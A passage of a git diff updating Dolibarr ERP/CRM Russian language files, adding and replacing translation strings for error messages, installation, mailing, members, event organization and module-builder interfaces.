ErrorFailedToWriteInTempDirectory=Failed to write in temp directory ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToLoadThirdParty=Failed to find/load thirdparty from id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account +ErrorStripeCustomerNotFoundCreateFirst=Stripe customer is not set for this thirdparty (or set to a value deleted on Stripe side). Create (or re-attach) it first. +ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + +ErrorTableNotFound=Table %s not found +ErrorValueForTooLow=Value for %s is too low +ErrorValueCantBeNull=Value for %s can't be null +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Ваш параметр PHP upload_max_filesize (%s) выше, чем параметр PHP post_max_size (%s). Это непоследовательная установка. @@ -304,7 +316,7 @@ WarningConfFileMustBeReadOnly=Внимание, ваш конфигурацио WarningsOnXLines=Предупреждения об источнике %s линий WarningNoDocumentModelActivated=Никакая модель для создания документа не была активирована. Модель будет выбрана по умолчанию, пока вы не проверите настройки своего модуля. WarningLockFileDoesNotExists=Внимание! После завершения установки необходимо отключить инструменты установки / миграции, добавив файл install.lock в каталог %s . Отсутствие создания этого файла представляет серьезную угрозу безопасности. -WarningUntilDirRemoved=Все предупреждения системы безопасности (видимые только администраторами) будут оставаться активными, пока присутствует уязвимость (или эта константа MAIN_REMOVE_INSTALL_WARNING добавлена в Настройки-> Другие настройки). +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=Предупреждение, закрытие выполняется, даже если количество различается между исходными и целевыми элементами. С осторожностью включайте эту функцию. WarningUsingThisBoxSlowDown=Предупреждение, использование этого окна серьезно замедлит все страницы, на которых отображается это окно. WarningClickToDialUserSetupNotComplete=Настройка информации ClickToDial для вашего пользователя не завершена (см. Вкладку ClickToDial на карточке пользователя). @@ -326,6 +338,8 @@ WarningAvailableOnlyForHTTPSServers=Доступно только при исп WarningModuleXDisabledSoYouMayMissEventHere=Модуль %s не включен. Так что вы можете пропустить здесь много мероприятий. WarningPaypalPaymentNotCompatibleWithStrict=Значение «Строгий» приводит к некорректной работе функций онлайн-платежей. Вместо этого используйте «Лакс». WarningThemeForcedTo=Warning, theme has been forced to %s by hidden constant MAIN_FORCETHEME +WarningPagesWillBeDeleted=Warning, this will also delete all existing pages/containers of the website. You should export your website before, so you have a backup to re-import it later. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatic validation is disabled when option to decrease stock is set on "Invoice validation". # Validate RequireValidValue = Значение недействительно diff --git a/htdocs/langs/ru_RU/eventorganization.lang b/htdocs/langs/ru_RU/eventorganization.lang index 19670d12a3e..73269b1f6b7 100644 --- a/htdocs/langs/ru_RU/eventorganization.lang +++ b/htdocs/langs/ru_RU/eventorganization.lang @@ -54,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = В форме создания/доба # Object # EventOrganizationConfOrBooth= Конференция или выставка +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Управляйте организацией мероприятия ConferenceOrBooth = Конференция или выставка ConferenceOrBoothTab = Конференция или выставка AmountPaid = Оплаченная сумма DateOfRegistration = Дата регистрации ConferenceOrBoothAttendee = Участник конференции или выставки +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -112,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Здесь вы можете проголосо EvntOrgRegistrationConfHelpMessage = Здесь вы можете предложить новую конференцию для анимации во время мероприятия. EvntOrgRegistrationBoothHelpMessage = Здесь вы можете подать заявку на получение ваыставки во время мероприятия. ListOfSuggestedConferences = Список предлагаемых конференций -ListOfSuggestedBooths = Список предлагаемых выставок -ListOfConferencesOrBooths=Список конференций или выставок событийного проекта +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Предложить новую конференцию SuggestBooth = Предложить выставку ViewAndVote = Просмотр и голосование за предложенные мероприятия PublicAttendeeSubscriptionGlobalPage = Публичная ссылка для регистрации на мероприятие PublicAttendeeSubscriptionPage = Публичная ссылка только для регистрации на это мероприятие MissingOrBadSecureKey = Электронный ключ недействителен или отсутствует -EvntOrgWelcomeMessage = Эта форма позволяет вам зарегистрироваться в качестве нового участника мероприятия: %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Конференция начинается %s и заканчивается %s. ConferenceAttendeeFee = Плата за участие в конференции: '%s', происходящая от %s до %s. BoothLocationFee = Место расположения выставки для события : '%s' происходящего с %s до %s @@ -130,7 +133,7 @@ LabelOfconference=Этикетка конференции ConferenceIsNotConfirmed=Регистрация недоступна, конференция еще не подтверждена DateMustBeBeforeThan=%s должно быть до %s DateMustBeAfterThan=%s должно быть после %s - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Регистрация OrganizationEventConfRequestWasReceived=Ваше предложение о конференции получено OrganizationEventBoothRequestWasReceived=Ваш запрос на выставку получен @@ -139,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Ваш платеж за ре OrganizationEventBulkMailToAttendees=Напоминание о вашем участии в мероприятии в качестве участника OrganizationEventBulkMailToSpeakers=Напоминание о вашем участии в мероприятии в качестве спикера. OrganizationEventLinkToThirdParty=Ссылка на третью сторону (покупателя, поставщика или партнера) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Заявка на выставку NewSuggestionOfConference=Заявка на конференцию @@ -154,7 +158,7 @@ VoteOk = Ваш голос был принят. AlreadyVoted = Вы уже проголосовали за это событие. VoteError = Произошла ошибка во время голосования, попробуйте еще раз. -SubscriptionOk = Ваша регистрация подтверждена +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Подтверждение подписки на мероприятие Attendee = Участник PaymentConferenceAttendee = Оплата участникам конференции @@ -162,6 +166,7 @@ PaymentBoothLocation = Оплата места стенда DeleteConferenceOrBoothAttendee=Удалить участника RegistrationAndPaymentWereAlreadyRecorder=На электронную почту уже были зарегистрированы регистрация и оплата %s EmailAttendee=Электронная почта участника +EmailCompany=Company email EmailCompanyForInvoice=Электронная почта компании (для счета-фактуры, если она отличается от электронной почты участника) ErrorSeveralCompaniesWithEmailContactUs=Было найдено несколько компаний с этим адресом электронной почты, поэтому мы не можем автоматически подтвердить вашу регистрацию. Свяжитесь с нами по адресу %s для ручной проверки ErrorSeveralCompaniesWithNameContactUs=Было найдено несколько компаний с таким названием, поэтому мы не можем автоматически подтвердить вашу регистрацию. Свяжитесь с нами по адресу %s для ручной проверки diff --git a/htdocs/langs/ru_RU/install.lang b/htdocs/langs/ru_RU/install.lang index 440984fd86f..ee39e55ffbe 100644 --- a/htdocs/langs/ru_RU/install.lang +++ b/htdocs/langs/ru_RU/install.lang @@ -51,7 +51,6 @@ DatabaseName=Название базы данных DatabasePrefix=Префикс таблицы базы данных DatabasePrefixDescription=Префикс таблицы базы данных. Если пусто, по умолчанию будет llx_. AdminLogin=Учетная запись владельца базы данных Dolibarr. -PasswordAgain=Подтвердите пароль еще раз AdminPassword=Пароль Dolibarr для администратора базы данных. Держите пустым, если вы подключаетесь в анонимном CreateDatabase=Создание базы данных CreateUser=Создайте учетную запись пользователя или предоставьте разрешение учетной записи пользователя в базе данных Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=Уже существует DolibarrAdminLogin=Dolibarr администратора AdminLoginAlreadyExists=Учетная запись администратора Dolibarr «%s» уже существует. Вернитесь назад, если хотите создать еще один. FailedToCreateAdminLogin=Не удалось создать учетную запись администратора Dolibarr. -WarningRemoveInstallDir=Предупреждение: по соображениям безопасности после завершения установки или обновления вы должны добавить файл с именем install.lock в каталог документов Dolibarr, чтобы предотвратить повторное случайное / злонамеренное использование инструментов установки. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Недоступно в этом PHP ChoosedMigrateScript=Выбранная перенести скрипт DataMigration=Перенос данных (данные) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Скрыть недоступные параметры ErrorFoundDuringMigration=В процессе миграции были зарегистрированы ошибки, поэтому следующий шаг недоступен. Чтобы игнорировать ошибки, вы можете щелкнуть здесь, но приложение или некоторые функции могут работать некорректно, пока ошибки не будут устранены. YouTryInstallDisabledByDirLock=Приложение попыталось выполнить самообновление, но страницы установки/обновления были отключены в целях безопасности (каталог переименован с суффиксом .lock).
      YouTryInstallDisabledByFileLock=Приложение попыталось выполнить самообновление, но страницы установки/обновления были отключены в целях безопасности (из-за наличия файла блокировки install.lock в каталоге документов dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Щелкните здесь, чтобы перейти к своему приложению ClickOnLinkOrRemoveManualy=Если обновление в процессе, подождите. В противном случае щелкните следующую ссылку. Если вы всегда видите одну и ту же страницу, вы должны удалить/переименовать файл install.lock в каталоге документов. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Загружено FunctionTest=Тест функции +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/ru_RU/interventions.lang b/htdocs/langs/ru_RU/interventions.lang index 668f1872d8a..27b0f9fb1ef 100644 --- a/htdocs/langs/ru_RU/interventions.lang +++ b/htdocs/langs/ru_RU/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Скрывает часы и минуты из п InterventionStatistics=Статистика посредничества NbOfinterventions=Кол-во карт посредничества NumberOfInterventionsByMonth=Количество карт посредничества по месяцам (дата проверки) -AmountOfInteventionNotIncludedByDefault=Сумма посредничества по умолчанию не включается в прибыль (в большинстве случаев для подсчета затраченного времени используются табели учета рабочего времени). Добавьте параметр PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT в 1 в home-setup-other, чтобы включить их. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Идентификатор посредничества InterRef=Посредничество ссылка InterDateCreation=Дата создания посредничества @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Вы уверены, что хотите снова о GenerateInter=Созадать посредничество FichinterNoContractLinked=Вмешательство %s создано без связанного контракта. ErrorFicheinterCompanyDoesNotExist=Компания не существует. Вмешательство не создано. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/ru_RU/loan.lang b/htdocs/langs/ru_RU/loan.lang index 02757632358..ac5e3ae5d9f 100644 --- a/htdocs/langs/ru_RU/loan.lang +++ b/htdocs/langs/ru_RU/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = Вы не можете изменить интерес, если используете расписание # Admin ConfigLoan=Настройка модуля займов -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Бухгалтерский учет капитала по умолчанию -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Учет процентов по счету по умолчанию -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Страхование бухгалтерского счета по умолчанию +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Изменить финансовое обязательство diff --git a/htdocs/langs/ru_RU/mailmanspip.lang b/htdocs/langs/ru_RU/mailmanspip.lang index c43c96d32a5..c5b0a2e33b0 100644 --- a/htdocs/langs/ru_RU/mailmanspip.lang +++ b/htdocs/langs/ru_RU/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Проверка подписки прошла успеш MailmanDeletionSuccess=Тест отказа от подписки был успешно выполнен SynchroMailManEnabled=Будет выполнено обновление системы Mailman SynchroSpipEnabled=Будет выполнено обновление системы SPIP -DescADHERENT_MAILMAN_ADMINPW=Пароль администратора системы Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Пароль администратора системы Mailman DescADHERENT_MAILMAN_URL=Ссылка на рассылки системы Mailman DescADHERENT_MAILMAN_UNSUB_URL=Ссылка на отказ от рассылки системы Mailman DescADHERENT_MAILMAN_LISTS=Список (списки) для автоматический подписки новых участников (разделитель - запятая) diff --git a/htdocs/langs/ru_RU/mails.lang b/htdocs/langs/ru_RU/mails.lang index 2c863824bce..ab552cb34a6 100644 --- a/htdocs/langs/ru_RU/mails.lang +++ b/htdocs/langs/ru_RU/mails.lang @@ -7,10 +7,10 @@ MailCard=Карточка рассылки MailRecipients=Получатели MailRecipient=Получатель MailTitle=Название -MailFrom=Отправитель +MailFrom=Из MailErrorsTo=Оповещение об ошибках MailReply=Ответить -MailTo=Получатель(и) +MailTo=Покупатель MailToUsers=Пользователю(ям) MailCC=Копия MailToCCUsers=Копировать пользователям @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Контакты по должности MailingModuleDescEmailsFromFile=Электронные письма из файла MailingModuleDescEmailsFromUser=Электронные письма, введенные пользователем MailingModuleDescDolibarrUsers=Пользователи с электронной почтой -MailingModuleDescThirdPartiesByCategories=Контрагенты (по категориям) +MailingModuleDescThirdPartiesByCategories=Контрагенты SendingFromWebInterfaceIsNotAllowed=Отправка из веб-интерфейса не разрешена. EmailCollectorFilterDesc=Все фильтры должны совпадать, чтобы электронная почта была собрана @@ -178,3 +178,5 @@ IsAnAnswer=Это ответ на исходное электронное пис RecordCreatedByEmailCollector=Запись, созданная сборщиком электронной почты %s из электронной почты %s DefaultBlacklistMailingStatus=Значение по умолчанию для поля '%s' при создании нового контакта DefaultStatusEmptyMandatory=Пусто, но обязательно +WarningLimitSendByDay=ВНИМАНИЕ: В соответствии с настройками или контрактом вашего экземпляра количество писем в день ограничено до %s. Попытка отправить больше может привести к замедлению или приостановке работы вашего экземпляра. Обратитесь в службу поддержки, если вам нужна более высокая квота. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/ru_RU/main.lang b/htdocs/langs/ru_RU/main.lang index 9fab38bf618..38fa6c53ff8 100644 --- a/htdocs/langs/ru_RU/main.lang +++ b/htdocs/langs/ru_RU/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=freemono FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=Для этого типа электронной почты AvailableVariables=Доступны переменные для замены NoTranslation=Нет перевода Translation=Перевод +Translations=Translations CurrentTimeZone=Текущий часовой пояс в настройках PHP EmptySearchString=Введите непустые критерии поиска EnterADateCriteria=Введите критерии даты @@ -199,6 +206,7 @@ Valid=Действительный Approve=Утвердить Disapprove=Не утверждать ReOpen=Переоткрыть +OpenVerb=Открыт Upload=Загрузить ToLink=Ссылка Select=Выбор @@ -216,8 +224,9 @@ UserGroup=Группа пользователей UserGroups=Группы пользователей NoUserGroupDefined=Не задана группа для пользователя Password=Пароль -PasswordRetype=Повторите ваш пароль +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Обратите внимание, что многие функции/модули отключены в этой демонстрации. +YourUserFile=Your user file Name=Имя NameSlashCompany=Имя / Компания Person=Персона @@ -481,6 +490,7 @@ ActionsOnContact=Событие для этого контакта/адреса ActionsOnContract=События для этого контракта ActionsOnMember=События этого участника ActionsOnProduct=События об этом продукте +ActionsOnAsset=Events for this fixed asset NActionsLate=%s с опозданием ToDo=Что сделать Completed=Завершено @@ -888,6 +898,9 @@ MassFilesArea=Пространство для пакетных действий ShowTempMassFilesArea=Показать область для пакетных действий с файлами ConfirmMassDeletion=Подтверждение пакетного удаления ConfirmMassDeletionQuestion=Вы уверены, что хотите удалить %s выбранных записей? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Связанные объекты ClassifyBilled=Классифицировать выставленные счета ClassifyUnbilled=Классифицировать невыполненные счета @@ -903,8 +916,8 @@ ExportFilteredList=Экспорт отфильтрованного списка ExportList=Экспорт списка ExportOptions=Настройки экспорта IncludeDocsAlreadyExported=Включенные документы уже экспортированы -ExportOfPiecesAlreadyExportedIsEnable=Экспорт уже экспортированных частей включен -ExportOfPiecesAlreadyExportedIsDisable=Экспорт уже экспортированных частей отключен +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Все экспортированные движения были зарегистрированы как экспортировано NotAllExportedMovementsCouldBeRecordedAsExported=Не все экспортированные движения могут быть зарегистрированы как экспортировано Miscellaneous=Разное @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Частная ссылка для скачивани PrivateDownloadLinkDesc=Вам необходимо войти в систему и получить разрешения на просмотр или загрузку файла. Download=Загрузка DownloadDocument=Скачать документ +DownloadSignedDocument=Download signed document ActualizeCurrency=Обновить текущий курс Fiscalyear=Финансовый год ModuleBuilder=Конструктор Модулей и Приложений @@ -1046,6 +1060,7 @@ SearchIntoContracts=Договоры SearchIntoCustomerShipments=Отгрузки клиентам SearchIntoExpenseReports=Отчёты о затратах SearchIntoLeaves=Отпуск +SearchIntoKM=Knowledge base SearchIntoTickets=Тикеты SearchIntoCustomerPayments=Платежи клиентов SearchIntoVendorPayments=Платежи поставщику @@ -1117,6 +1132,7 @@ DeleteFileText=Вы действительно хотите удалить эт ShowOtherLanguages=Показать другие языки SwitchInEditModeToAddTranslation=Переключитесь в режим редактирования, чтобы добавить переводы для этого языка NotUsedForThisCustomer=Не используется для этого клиента +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Сумма должна быть положительной ByStatus=По статусу InformationMessage=Информация @@ -1137,15 +1153,29 @@ EventReminder=Напоминание о мероприятии UpdateForAllLines=Обновление для всех линий OnHold=На удерживании Civility=Вежливость -AffectTag=Влияет на тег +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Создать внешнего пользователя -ConfirmAffectTag=Влияние массового тега -ConfirmAffectTagQuestion=Вы действительно хотите изменить теги для выбранных записей %s? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Тип тега для типа записей не найден +Rate=Курс +SupervisorNotFound=Supervisor not found CopiedToClipboard=Скопировано в буфер обмена InformationOnLinkToContract=Эта сумма представляет собой только сумму всех строк контракта. Время не принимается во внимание. ConfirmCancel=Вы уверены, что хотите отменить EmailMsgID=Электронная почта MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Включено SetToDisabled=Отключено ConfirmMassEnabling=подтверждение массового включения @@ -1174,9 +1204,21 @@ Terminated=Прекращено AddLineOnPosition=Добавить строку в позицию (в конце, если пусто) ConfirmAllocateCommercial=Назначение подтверждения торгового представителя ConfirmAllocateCommercialQuestion=Вы уверены, что хотите назначить выбранные записи %s? -CommercialsAffected=Затронутые торговые представители -CommercialAffected=Затронутый торговый представитель +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Ваше сообщение было получено. Мы ответим или свяжемся с вами в ближайшее время. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Внутренний пользователь +ExternalUser=Внешний пользователь +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/ru_RU/members.lang b/htdocs/langs/ru_RU/members.lang index 82f00fed1b6..d1aa664e433 100644 --- a/htdocs/langs/ru_RU/members.lang +++ b/htdocs/langs/ru_RU/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Еще один член (имя и < ErrorUserPermissionAllowsToLinksToItselfOnly=По соображениям безопасности, вы должны получить разрешение, чтобы изменить все пользователи должны иметь доступ к ссылке члена к пользователю, что это не твое. SetLinkToUser=Ссылка на Dolibarr пользователя SetLinkToThirdParty=Ссылка на Dolibarr третья сторона +MemberCountersArePublic=Счетчики действительных участников являются публичными MembersCards=Генерация карточек для участников MembersList=Список участников MembersListToValid=Список кандидатов в участники (на утверждении) @@ -34,9 +35,10 @@ DateSubscription=Дата членства DateEndSubscription=Дата окончания членства EndSubscription=Конец членства SubscriptionId=Идентификатор вклада -WithoutSubscription=Без вклада -MemberId=Member Id -MemberRef=Member Ref +WithoutSubscription=Без членства +WaitingSubscription=Членство ожидается +MemberId=ID пользователя +MemberRef=Ссылка на пользователя NewMember=Новый участник MemberType=Тип участника MemberTypeId=ID типа участника @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Тип участника не может быть у NewSubscription=Новый вклад NewSubscriptionDesc=Эта форма позволяет вам записывать вашу подписку в качестве нового члена Фонда. Если вы хотите продлить подписку (если уже зарегистрированы), пожалуйста, свяжитесь совета Фонда, а не по электронной почте, %s. Subscription=Вклад +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Любая сумма +CanEditAmountShortForValues=рекомендуется, любая сумма +MembershipDuration=Продолжительность +GetMembershipButtonLabel=Join Subscriptions=Взносы SubscriptionLate=Поздно SubscriptionNotReceived=Вклад так и не получен @@ -136,7 +144,7 @@ CardContent=Содержание Вашей карточки участника # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Мы хотим сообщить вам, что ваш запрос на членство был получен.

      ThisIsContentOfYourMembershipWasValidated=Мы хотим сообщить вам, что ваше членство было подтверждено следующей информацией:

      -ThisIsContentOfYourSubscriptionWasRecorded=Мы хотим сообщить вам, что ваша новая подписка была зарегистрирована.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=Мы хотим сообщить вам, что ваша подписка истекает или уже истекла (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Надеемся, вы его обновите.

      ThisIsContentOfYourCard=Это краткое изложение имеющейся у нас информации о вас. Пожалуйста, свяжитесь с нами, если что-то не так.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Тема электронного письма с уведомлением, полученного в случае автоматического добавления гостя @@ -198,9 +206,12 @@ SubscriptionsStatistics=Статистика вкладов NbOfSubscriptions=Количество вкладов AmountOfSubscriptions=Сумма, полученная от взносов TurnoverOrBudget=Оборот (за компанию) или бюджета (за основу) -DefaultAmount=Сумма взноса по умолчанию -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Перейти по комплексному интернет страницу оплаты +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=По природе MembersStatisticsByProperties=Статистика участников по характеру VATToUseForSubscriptions=Ставка НДС, используемая для взносов @@ -221,3 +232,4 @@ CreateDolibarrLoginDesc=Создание пользовательского вх CreateDolibarrThirdPartyDesc=Третья сторона - это юридическое лицо, которое будет указано в счете-фактуре, если вы решите создавать счет-фактуру для каждого вклада. Вы сможете создать его позже в процессе записи вклада. MemberFirstname=Имя участника MemberLastname=Фамилия участника +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/ru_RU/modulebuilder.lang b/htdocs/langs/ru_RU/modulebuilder.lang index 2e3f7000978..035bf9d28fd 100644 --- a/htdocs/langs/ru_RU/modulebuilder.lang +++ b/htdocs/langs/ru_RU/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=Этот инструмент должен использоваться только опытными пользователями или разработчиками. Он предоставляет утилиты для создания или редактирования вашего собственного модуля. Документация по альтернативной ручной разработке находится здесь . EnterNameOfModuleDesc=Введите имя создаваемого модуля/приложения без пробелов. Используйте верхний регистр для разделения слов (например, MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Введите имя создаваемого объекта без пробелов. Используйте заглавные буквы для разделения слов (например: МойОбъект, Студент, Учитель...). Будет создан файл класса CRUD, а также файл API, страницы для списка/добавления/редактирования/удаления объектов и файлы SQL. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Введите имя создаваемого словаря без пробелов. Используйте заглавные буквы для разделения слов (например: MyDico...). Будет создан файл класса, а также файл SQL. ModuleBuilderDesc2=Путь, по которому модули создаются/редактируются (первый каталог для внешних модулей, определенных в %s): %s ModuleBuilderDesc3=Найдены сгенерированные/редактируемые модули: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Модуль определяется как "редакти NewModule=Новый модуль NewObjectInModulebuilder=Новый объект NewDictionary=Новый словарь +ModuleName=Module name ModuleKey=Ключ модуля ObjectKey=Ключ объекта DicKey=Ключ словаря @@ -48,11 +50,14 @@ PathToModulePackage=Путь к zip-архиву модуля/пакета пр PathToModuleDocumentation=Путь к файлу документации модуля/приложения (%s) SpaceOrSpecialCharAreNotAllowed=Пробелы и специальные символы не допускаются. FileNotYetGenerated=Файл еще не создан +GenerateCode=Generate code RegenerateClassAndSql=Принудительное обновление файлов .class и .sql RegenerateMissingFiles=Создать недостающие файлы SpecificationFile=Файл документации LanguageFile=Файл для языка ObjectProperties=Свойства объекта +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=Вы действительно хотите удалить свойство %s? Это изменит код в классе PHP, но также удалит столбец из определения объекта в таблице. NotNull=Ненулевой NotNullDesc=1=Установить для базы данных значение NOT NULL, 0=Разрешить нулевые значения, -1=Разрешить нулевые значения, принудив значение к NULL, если оно пустое ('' или 0) @@ -81,15 +86,16 @@ IsAMeasure=Это мера DirScanned=Каталог просканирован NoTrigger=Нет триггера NoWidget=Нет виджета -GoToApiExplorer=Обозреватель API +ApiExplorer=API explorer ListOfMenusEntries=Список пунктов меню ListOfDictionariesEntries=Список словарных статей ListOfPermissionsDefined=Список определенных разрешений SeeExamples=См. Примеры здесь -EnabledDesc=Условие для того, чтобы это поле было активным (Примеры: 1 или $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Поле видно? (Примеры: 0 = никогда не отображается, 1 = виден в списке и формах создания/обновления/просмотра, 2 = виден только в списке, 3 = виден только в форме создания/обновления/просмотра (не в списке), 4 = виден в списке и только форма обновления/просмотра (не создание), 5 = Видна только в форме просмотра конца списка (не создание, не обновление).

      Использование отрицательного значения означает, что поле не отображается по умолчанию в списке, но может быть выбрано для просмотра).

      Это может быть выражение, например:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Отобразите это поле в совместимых PDF-документах, вы можете управлять положением с помощью поля «Position».
      В настоящее время известны совместимые модели PDF: эратостен (заказ), эспадон (доставка), губка (счета), голубой (комерческое предложение/котировка), кукуруза (заказ поставщика). = дисплей
      2 = отображать только если не пустой

      Для строк документа:
      0 = не отображается
      1 = отображается в столбце
      3 = дисплея в описании линии колонки после описания
